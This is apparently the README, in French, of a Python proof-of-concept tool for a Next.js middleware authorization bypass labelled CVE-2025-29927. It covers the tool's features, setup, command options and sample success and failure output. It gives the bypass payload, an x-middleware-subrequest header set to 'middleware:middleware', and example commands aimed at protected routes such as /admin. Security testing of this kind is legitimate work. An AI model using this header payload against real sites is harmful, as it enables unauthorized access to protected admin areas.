
> 🔓 Preuve de concept pour un contournement fictif du middleware Next.js (CVE-2025-29927) — créez des sous-requêtes pour tester les routes protégées.
| Fonctionnalité | Description |
|---|
| ✨ Couleurs et mode verbeux | Sortie colorée ; -v pour des journaux de débogage détaillés. |
| 📦 Structure orientée objet | Conception basée sur les classes pour plus de clarté et de maintenabilité. |
| 🌐 Prise en charge des proxys | Achemine le trafic via des proxys HTTP(S) avec --proxy. |
| 🍪 Gestion des sessions | requests.Session persistante pour les cookies et la réutilisation des connexions. |
| 🚦 Contrôle des redirections | Ne suit pas les redirections par défaut ; détecte clairement la réussite ou l'échec. |
| 🛠 En-têtes personnalisés | Remplace User-Agent, x-middleware-subrequest, ou ajoute des en-têtes. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Nécessite Python 3.7+
python poc.py [options] <host>[:port]
| Option | Description |
|---|---|
-p, --path PATH | Chemin de la route protégée (défaut : /admin) |
-s, --scheme {http,https} | Protocole (défaut : http) |
--header HEADER | Valeur de l'en-tête x-middleware-subrequest (défaut : middleware:middleware) |
-ua, --user-agent AGENT | User-Agent personnalisé (défaut : Mozilla/5.0) |
--proxy PROXY | URL du proxy HTTP(S) (ex. : http://127.0.0.1:8080) |
-v, --verbose | Active la sortie de débogage |
-h, --help | Affiche ce message d'aide |
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Succès
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
Échec
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)